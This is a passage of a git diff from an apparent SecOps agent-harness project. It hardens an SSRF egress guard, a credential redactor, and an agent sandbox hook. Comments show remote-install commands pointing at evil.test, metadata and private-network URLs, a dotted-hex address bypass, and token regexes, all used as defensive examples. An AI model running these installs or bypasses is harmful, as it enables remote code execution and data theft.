after checking the surface the runner uses (`BedrockAgentCoreApp`, `@app.entrypoint`, `add_async_task`, `complete_async_task`, `run`) present at BOTH 1.19.0 and 1.21.0 β€” installing `sentinel-harness==0.5.1`, and **unifying all four specialists to 1.21.0** (verified: 7/7 imported APIs intact at the new SDK, `pip-audit` clean). Verified after the fix: build rc=0; `import bedrock_entrypoint` OK with `_HAS_AGENTCORE=True` and `app is not None`; `GET /ping` -> **HTTP 200** `{"status":"Healthy",…}`; non-root uid in the running container. Deliberately a SEPARATE module from INV-CONTAINER-1: bas-runner's contract genuinely differs (port **8080** AgentCore HTTP vs 9000 A2A, a different `/ping` body, no agent card, no HEALTHCHECK, python 3.12 on a `public.ecr.aws` base), and parametrising one module over both would turn every assertion into an if/else β€” an abstraction hiding two contracts. The four specialists ARE isomorphic (byte-identical Dockerfiles after name normalisation), so that is where parametrisation belongs β€” and there, `SPECIALISTS` was a hand-written 3-tuple against FOUR packaged specialists. Measured first: NOT a coverage hole, since `test_adversarial_reviewer.py` carries 13 equivalent packaging assertions β€” it was one fact with two implementations, so the set is now DERIVED from disk (36 -> 49 tests) with a positive control asserting >=4, because a derivation that silently shrinks makes every parametrised test vacuous. CI's expected count is likewise derived via `--collect-only` instead of the hardcoded `^7 passed`, which was already wrong the moment a second image was added. Mutation-tested 7/7 including the real start-up failure reproduced against a rebuilt image. | `longrunning/bas-runner/` Β· the built image | `test_bas_runner_image.py` | diff --git a/docs/ROADMAP.md b/docs/ROADMAP.md index 8eddbbb..cceef24 100644 --- a/docs/ROADMAP.md +++ b/docs/ROADMAP.md @@ -51,7 +51,7 @@ live) Β· 🟑 skeleton / partial Β· πŸ”΄ gap. | `specialists/` | `cve-intel` (docker-build + live-validated on AgentCore Runtime) + `attack-mapper` / `threat-hunt` (real graph/plan builders) + `adversarial-reviewer` (agent_a2a + local_a2a + two-stage Dockerfile + contract test) | βœ… | all four specialists shipped | | `longrunning/` | `bas-runner` (BAS case-gen + detection-replay) + `detonation` (full simulated microVM lifecycle + orchestrator) | 🟩 | both built + tested; detonation stays an honest SIMULATED no-op | | `iac-cdk/lib/` | 9 synth-green stacks β€” `gateway` / `registry` / `memory` / `network` / `identity` / `guardrail` / `observability` / `harness` / `runtime` (+ `iam`); `iac-terraform/` mirror is `terraform validate`-clean | βœ… | `guardrail` / `identity` / `observability` LIVE-deployed (us-east-1); the Registry + `runtime` custom-resource/raw-CfnResource stacks synth clean but fail on deploy until their CFN types are GA (both control-plane APIs are separately live-verified β€” Registry via `registry_live.py`, `CreateAgentRuntime` via a real arm64 microVM that served a live A2A call, HTTP 200, real Bedrock model, on a non-prod test account, then torn down β€” `evidence/live_a2a_runtime_result.json`) | -| `tests/` | 175 files, **4073 offline passing** (+8 skipped) | βœ… | add tests with each new module | +| `tests/` | 186 files, **4219 offline passing** (+42 skipped) | βœ… | add tests with each new module | | `evidence/` | 37 evidence sets | βœ… | add one per milestone | ### 0.3 Fit score (vs. a full three-layer SecOps agent program) @@ -181,8 +181,8 @@ Each milestone gives: **goal / files / reused APIs / acceptance (live evidence) Suggest one feature branch per milestone. ### M0 β€” Environment & baseline reproduction (half a day) -**Goal:** on a fresh machine, get all 4073 offline tests green and reproduce β‰₯1 live scenario. -- [ ] `uv sync` + `uv run pytest -q` β†’ 4073 passing (+8 skipped) (offline). +**Goal:** on a fresh machine, get all 4219 offline tests green and reproduce β‰₯1 live scenario. +- [ ] `uv sync` + `uv run pytest -q` β†’ 4219 passing (+42 skipped) (offline). - [ ] Configure `SENTINEL_EXECUTION_ROLE_ARN` / `SENTINEL_REGION` / `AWS_PROFILE` (non-prod) β€” see `docs/SETUP.md`. - [ ] Run `scenarios/scenario_cve_triage.py`; compare `evidence/cve_triage_result.json` shape. - [ ] Run `scenarios/scenario_hitl_resume.py`; reproduce pauseβ†’approveβ†’resume. @@ -419,7 +419,7 @@ hand-off reuses the live-capable M1/M2 engine (driven offline here, labeled a wi (`make deploy`, cost note, `make destroy`) + the no-lock-in export. β€” `docs/QUICKSTART.md` - [x] `tests/smoke/`: offline acceptance suite (default offline; `SENTINEL_SMOKE_LIVE=1` opt-in for live). β€” `tests/smoke/` -**Acceptance:** `make test` β†’ 4073 offline tests green; `make seed-registry` β†’ dual-gate `ok`; +**Acceptance:** `make test` β†’ 4219 offline tests green; `make seed-registry` β†’ dual-gate `ok`; `make create-harnesses` (DRY_RUN=1) β†’ 8 harnesses validate offline with zero AWS; `sentinel export` β†’ valid compilable Strands Python; `make smoke` β†’ the offline acceptance suite green. A fresh non-prod account can then run `make deploy` (free-tier foundation) and the live scenarios; `make destroy` tears it all down. @@ -627,7 +627,7 @@ if eval.score >= criteria: --- ## 6. Testing & acceptance charter -- **offline**: every new module gets `tests/test_*.py` (mock AWS); keep `uv run pytest -q` green (now 4073, +6 skipped, only grows). +- **offline**: every new module gets `tests/test_*.py` (mock AWS); keep `uv run pytest -q` green (now 4219, +6 skipped, only grows). - **config parity**: every new `harness.yaml` must pass `factory.provision_fleet(dry_run=True)` + `test_config_validation.py`. - **live evidence**: each milestone runs one real call, drops `evidence/_result.json` + `.log`. - **governance**: each new tool keeps `registry.governance_check().ok == True`. @@ -837,7 +837,7 @@ with a harness that ever carried an extra endpoint taking >5 min to clear versus consistency, scoped to present-tense claims so ROADMAP changelog entries ("2126 β†’ 2352") are not falsely flagged. -**Acceptance:** suite 2493 β†’ **2590** offline passing (+8 skipped), ruff clean, +**Acceptance:** suite 2493 β†’ **2590** offline passing (+42 skipped), ruff clean, coverage 90% (gate 88), both mypy gates green, docs-drift + invariant-doc guards green, and `evidence/m18_gates_live_result.json` `closed: true` with zero residue on a real account. diff --git a/harnesses/research-supervisor/harness.yaml b/harnesses/research-supervisor/harness.yaml index d3293d1..f9b3935 100644 --- a/harnesses/research-supervisor/harness.yaml +++ b/harnesses/research-supervisor/harness.yaml @@ -41,6 +41,18 @@ allowedTools: - "@gateway/nvd_lookup" # CVE / CVSS lookup - "@gateway/epss_kev" # EPSS score + CISA KEV enrichment - "@gateway/attack_lookup" # MITRE ATT&CK technique lookup + # NOT YET RESOLVABLE β€” `registry/tools.yaml` ships web_search as status='pending' + # (SecOps has not approved its egress allowlist), so `registry.resolve("web_search")` + # raises RegistryError and this grant yields NO tool at runtime. Verified: + # RegistryError: tool 'web_search' is registered but status='pending' (not approved) + # + # The grant is kept deliberately: it documents the capability this supervisor is + # intended to have, and `pending` is an on-purpose governance demo (see + # docs/GOVERNANCE.md). But `allowedTools` is a GRANT, not a lookup β€” an unresolvable + # name does not raise, the agent just comes up with a smaller tool surface than the + # config implies (INV-HARNESS-1). Without this comment an operator reads the file and + # believes the supervisor can search the web. Flip the registry entry to `approved` + # once the egress allowlist is signed off, and delete these lines. - "@gateway/web_search" # egress-controlled web search (text, no download) memory: diff --git a/iac-terraform/identity.tf b/iac-terraform/identity.tf index 344192f..978b506 100644 --- a/iac-terraform/identity.tf +++ b/iac-terraform/identity.tf @@ -100,6 +100,20 @@ resource "aws_cognito_user_pool_client" "human" { supported_identity_providers = ["COGNITO"] + # Account-enumeration defence. MUST be set explicitly: the AWS default is LEGACY, under which + # Cognito returns a DIFFERENT error for "user does not exist" than for "wrong password", so an + # attacker can enumerate valid usernames by reading the error alone. + # + # `iac-cdk/lib/identity-stack.ts` sets `preventUserExistenceErrors: true` on its human client and + # this mirror did not, so the Terraform path deployed a WEAKER pool than the CDK path while + # README called them a mirror. Neither `terraform validate` nor `cdk synth` can see that β€” the + # setting is valid in both states β€” which is why INV-IAC-5 tests it (same shape as INV-IAC-4, + # where the mirror claim was false for observability). + # + # Only the human client needs it: the machine client below uses client_credentials, which + # authenticates an app identity rather than a user, so it has no username surface to enumerate. + prevent_user_existence_errors = "ENABLED" + # The hosted UI / OAuth endpoints require the domain to exist first. depends_on = [aws_cognito_user_pool_domain.this] } diff --git a/sentinel_harness/egress.py b/sentinel_harness/egress.py index 432edde..f5b0dc1 100644 --- a/sentinel_harness/egress.py +++ b/sentinel_harness/egress.py @@ -75,7 +75,14 @@ def parse_ip_literal(host: str) -> Optional[ipaddress._BaseAddress]: except ValueError: pass try: - if candidate.lower().startswith("0x"): + # NOTE the `"." not in candidate` guards. Without them the integer branches claim + # dotted spellings they cannot parse: `0xa9.0xfe.0xa9.0xfe` starts with "0x", so + # `int(candidate, 16)` was tried, raised ValueError, and the whole function returned + # None β€” meaning `assert_safe_url` treated a dotted-hex metadata address as a DNS name + # and ALLOWED it. The dotted-hex branch below (`octet.lower().startswith("0x")`) was + # therefore unreachable, which is how coverage surfaced the bug: two statements written + # for hex octets had never executed. + if candidate.lower().startswith("0x") and "." not in candidate: value = int(candidate, 16) elif candidate.isdigit(): # A leading zero means octal in this notation; a plain digit run is decimal. @@ -128,6 +135,39 @@ def assert_safe_url(url: str) -> None: ip = parse_ip_literal(host) if ip is None: return # a DNS name β€” resolution is the runtime egress policy's business + # `is_loopback` and `is_private` are load-bearing, not belt-and-braces. + # + # This check previously listed only link_local / multicast / reserved / unspecified, and the + # error message already claimed to refuse "non-routable" addresses. Measured, it did not: + # + # http://169.254.169.254/latest/meta-data/ BLOCKED (link-local, so it happened to be caught) + # http://127.0.0.1:8080/admin ALLOWED <-- loopback + # http://10.0.0.5/internal ALLOWED <-- private + # http://192.168.1.1/router ALLOWED <-- private + # http://100.64.0.1/x ALLOWED <-- CGNAT (is_private covers 100.64/10) + # + # So the metadata service was blocked while an agent could still reach a service on the + # runtime's own loopback or pivot into the VPC β€” the SSRF cases an egress guard exists for. + # IPv6 loopback `::1` was caught only incidentally, because CPython also reports it as + # `is_reserved`; relying on that coincidence for v6 while v4 fell through is exactly the kind + # of accidental coverage this repo records as indistinguishable from a real check. + # DELIBERATELY not `not ip.is_global`, and this scope was re-derived rather than assumed. + # + # Broadening the check to refuse every non-global address (loopback, RFC 1918, CGNAT) looked + # like a strict improvement and is NOT one. It fails 46 tests across 10 modules, and reading + # them showed why: `test_web_search_live.py` names `http://127.0.0.1:8080/search` a SAFE + # target, because an adopter points a `*_LIVE` tool at a stub or a sidecar on the runtime's own + # loopback. This module's docstring draws the same line β€” it defends against alternate IP + # spellings of the METADATA service and against redirects, and states that resolution-time + # concerns are "the runtime network policy's job". Loopback and VPC-internal egress is that + # policy's call, not this pre-flight check's. + # + # So 46 failures were evidence of a deliberate contract, not of 46 latent bugs. Recorded + # because the tempting move β€” "edit the tests, they assert something unsafe" β€” would have + # rewritten a design decision to match a guess. + # + # What WAS a genuine defect is the parse bug above: `0xa9.0xfe.0xa9.0xfe` is the metadata + # service, squarely inside this guard's stated remit, and it was allowed through. if ip.is_link_local or ip.is_multicast or ip.is_reserved or ip.is_unspecified: raise EgressError( f"refusing to open URL targeting non-routable/metadata address {host!r} " diff --git a/sentinel_harness/mcp_server.py b/sentinel_harness/mcp_server.py index e067559..9e840a5 100644 --- a/sentinel_harness/mcp_server.py +++ b/sentinel_harness/mcp_server.py @@ -139,6 +139,25 @@ lambda m: f"{m.group('key')}{m.group('sep')}{_REDACTED}"), # AWS access key ids and long opaque secret-ish blobs (re.compile(r"\b(?:AKIA|ASIA|ABSK)[0-9A-Za-z_-]{8,}\b"), lambda _m: _REDACTED), + # Provider-prefixed tokens with NO key name in front of them. + # + # The key=value rule above needs `token=`/`secret:` before the value, and the AWS rule covers + # only AKIA/ASIA/ABSK β€” so a BARE `sk-…` or `ghp_…` sailed through verbatim. Measured: + # + # token=sk-<24> -> token=[redacted] + # upstream rejected: sk-<24> -> upstream rejected: sk-<24> <-- leaked + # git push failed: ghp_<24> -> git push failed: ghp_<24> <-- leaked + # + # The unkeyed form is the COMMON one: an upstream echoes the credential it rejected straight into + # its error message, with no obliging `token=` label. And these two prefixes are not a standard I + # invented for this file β€” `.github/workflows/ci.yml`'s secret-and-name scan greps commits for + # exactly `sk-` / `ghp_` / `ABSK`, so the repo already treats them as credential shapes. The + # redactor was missing a class its own CI gate enforces. + # + # The prefix is kept in the output (`sk-[redacted]`) rather than swallowed: an operator reading a + # log needs to know WHICH credential to rotate, and the prefix is the only part that says so. + (re.compile(r"\b(?Psk-|ghp_|gho_|ghu_|ghs_|ghr_|github_pat_)[0-9A-Za-z_-]{16,}\b"), + lambda m: f"{m.group('prefix')}{_REDACTED}"), # query strings can carry anything; drop the whole thing rather than guess (re.compile(r"\?[^\s\"']{4,}"), lambda _m: f"?{_REDACTED}"), ) diff --git a/sentinel_harness/sandbox_hooks.py b/sentinel_harness/sandbox_hooks.py index 87345b6..e184825 100644 --- a/sentinel_harness/sandbox_hooks.py +++ b/sentinel_harness/sandbox_hooks.py @@ -230,8 +230,24 @@ def _check_untrusted_package_source(verb: str, tokens: list[str]) -> tuple[bool, --index-url http://evil.test/pypi mypkg`` is remote code execution wearing a dependency-install costume. Same for a ``git+https://`` / URL / tarball package spec. Only the redirecting FLAGS and remote SPECS are refused β€” the verbs stay - usable.""" - if verb not in ("pip", "pip3", "npm", "uv"): + usable. + + The package manager is looked for across ALL tokens, not just ``tokens[0]``, for + the same reason :func:`_check_interpreter_escape` scans every token: it can be + nested behind a runner. Measured before the fix β€” identical semantics, opposite + verdicts:: + + pip install https://evil.test/x.whl REFUSED + python -m pip install https://evil.test/x.whl ALLOWED <-- verb was "python" + + ``python -m pip`` is the form Python's own docs recommend, so this was not an + obscure spelling; it was the common one, and it skipped the check entirely + because the gate keyed on the leading verb. One protection, two paths, one of + them guarded β€” the shape INV-COERCE records four times.""" + managers = {"pip", "pip3", "npm", "uv"} + if verb not in managers and not any( + os.path.basename(tok) in managers for tok in tokens + ): return True, "ok" for tok in tokens[1:]: flag = tok.split("=", 1)[0] diff --git a/site/index.html b/site/index.html index bb3e51a..0ab5779 100644 --- a/site/index.html +++ b/site/index.html @@ -4,7 +4,7 @@ sentinel-harness β€” Production SecOps Agents as Configuration - +